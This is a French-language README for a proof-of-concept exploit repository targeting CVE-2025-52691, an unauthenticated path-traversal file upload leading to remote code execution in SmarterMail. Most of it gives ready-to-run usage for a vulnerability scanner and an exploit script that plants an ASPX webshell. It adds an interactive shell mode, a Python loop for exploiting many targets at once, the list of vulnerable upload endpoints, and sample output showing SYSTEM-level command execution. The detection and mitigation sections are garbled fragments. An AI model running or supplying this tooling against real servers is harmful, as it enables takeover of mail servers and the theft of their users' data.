
Preuve de concept pour CVE-2025-52691 - SmarterMail RCE par téléversement arbitraire de fichier non authentifié
Réservé aux tests de sécurité autorisés et à des fins éducatives uniquement. L'accès non autorisé est illégal.
Vulnérabilité critique dans SmarterMail permettant le téléversement arbitraire de fichiers sans authentification via un traversement de chemin, conduisant à une exécution de code à distance.
Vulnérabilité : Le traversement de chemin dans les points de terminaison de téléversement permet de déposer des webshells ASPX à la racine web
Impact : Exécution de code à distance sans authentification
Vecteur : Réseau / Non authentifié
git clone https://github.com/yourusername/CVE-2025-52691-POC.git
cd CVE-2025-52691-POC
pip install requests urllib3
Analyse les cibles pour détecter la vulnérabilité CVE-2025-52691. Enregistre uniquement les URLs vulnérables dans le fichier de sortie.
# Single target
python check.py https://mail.example.com
# Multiple targets
python check.py -f targets.txt -o results.txt
# Custom timeout
python check.py https://mail.example.com -t 30
Sortie : Une URL vulnérable par ligne dans results.txt
Téléverse un webshell ASPX et permet l'exécution de commandes.
# Basic exploit
python pwn.py https://mail.example.com
# Execute command
python pwn.py https://mail.example.com -c "whoami"
# Interactive shell
python pwn.py https://mail.example.com -i
Module d'exploitation réutilisable pour l'intégration dans des scripts personnalisés.
En tant que bibliothèque :
from exploit import SmarterMailExploit, TargetConfig, ExploitResult
# Basic usage
config = TargetConfig(base_url="https://mail.example.com")
exploit = SmarterMailExploit(config)
if exploit.exploit() == ExploitResult.SHELL_UPLOADED:
print(exploit.execute_command("whoami"))
# With custom timeout
config = TargetConfig(base_url="https://mail.example.com", timeout=60)
exploit = SmarterMailExploit(config)
result = exploit.exploit()
# Execute multiple commands
if result == ExploitResult.SHELL_UPLOADED:
print(exploit.execute_command("whoami"))
print(exploit.execute_command("hostname"))
print(exploit.execute_command("ipconfig"))
En tant que script autonome :
# Import and run in Python
python -c "from exploit import *; e=SmarterMailExploit(TargetConfig('https://mail.example.com')); e.exploit()"
# Create custom script
cat << 'EOF' > my_exploit.py
from exploit import SmarterMailExploit, TargetConfig, ExploitResult
targets = ['https://mail1.example.com', 'https://mail2.example.com']
for target in targets:
config = TargetConfig(base_url=target)
exploit = SmarterMailExploit(config)
if exploit.exploit() == ExploitResult.SHELL_UPLOADED:
print(f"[+] Exploited: {target}")
print(exploit.execute_command("whoami"))
EOF
python my_exploit.py
Points de terminaison vulnérables :
/api/upload
/api/v1/upload
/Interface/Frmx/UploadFile.aspx
/MRS/Upload.ashx
/Services/Upload.ashx
Méthodes d'exploitation :
../wwwroot/)Webshell : Shell ASPX minimal acceptant des commandes via le paramètre ?cmd=
python check.py <target>python pwn.py <target> -iDétection :
../)/api/uploadAtténuation :
$ python pwn.py https://mail.example.com -c "whoami"
[*] Target: https://mail.example.com
[+] Target is alive
[*] Shell filename: s4a7b3c2.aspx
[*] Attempting to upload webshell...
[+] SUCCESS! Webshell uploaded
[+] Shell URL: https://mail.example.com/s4a7b3c2.aspx
[*] Executing: whoami
[+] Output:
nt authority\system
Obtenez toujours une autorisation appropriée avant de tester.